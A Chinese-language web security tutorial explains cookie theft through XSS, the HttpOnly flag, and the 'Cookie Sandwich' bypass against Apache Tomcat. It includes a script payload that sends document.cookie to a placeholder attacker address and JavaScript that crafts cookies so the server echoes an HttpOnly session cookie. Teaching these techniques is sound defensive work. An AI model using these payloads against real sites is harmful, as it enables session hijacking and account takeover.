常规cookie窃取
# 获取当前页面的 cookie
<script>const cookie=document.cookie;window.location.href='http://ip:port/'+encodeURIComponent(cookie);</script>JavaScript来看这个 payload,document.cookie 获取 cookie,再通过访问攻击机读取靶机发送的 cookie 信息。只要管理员用户执行了这段 JavaScript 代码就能实现 cookie 的窃取。
HttpOnly_cookie窃取
HttpOnly
HttpOnly 是一种 Web 安全功能,通常用于 HTTP 响应中的 Set-Cookie 头部,目的是增强浏览器中 Cookie 的安全性,防止客户端 JavaScript 访问敏感 Cookie 信息。
默认情况下,通过 JavaScript 可以实现访问 Cookie(通过 document.cookie 或者 fetch)。如果恶意代码(如 XSS)被注入到网站中,攻击者可以通过 JavaScript 获取这些 Cookie 信息,从而实现 cookie 窃取。
为防止这种情况,HttpOnly 标志允许开发者将 Cookie 标记为只可通过 HTTP 请求访问,即该 Cookie 无法通过 JavaScript 访问。只有 HTTP 请求才能发送带有该 Cookie。
Cookie Sandwich
Cookie Sandwich 实现的原理是浏览器与服务器对 cookie 头解析细节的差异。攻击者通过在 cookie 中插入引号和特殊 cookie 名(如 $Version),让服务器的解析器把真正的 HttpOnly cookie 当作被夹在两段特殊构造的 cookie 中间的一段文本,从而使 HttpOnly 属性失效。
我们来看一段 Apache Tomcat 下的 paylaod:
document.cookie = `$Version=1; domain=${domain}; path=${path};`;
document.cookie = `param1="start; domain=${domain}; path=${path};`;
document.cookie = `param2=end"; domain=${domain}; path=/;`;JavaScript再看一看可能实现的效果:
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"
=>
HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";HTTP工作原理:
- 服务器在解析 cookie 时,如果 cookie 以特殊的 $Version 属性开头,则默认使用旧式解析逻辑。如果 cookie 值以双引号开头,则会继续读取,直到遇到下一个未转义的双引号字符。
- 对于 Cookie 的顺序,path 内容多的会排在前面,先设置的排在前面。
通过巧妙的构造实现原页面的 cookie 位于构造 cookie 的中间,服务器在解析时就能实现原页面的 HttpOnly 属性失效,从而通过响应回显出来。

Comments NOTHING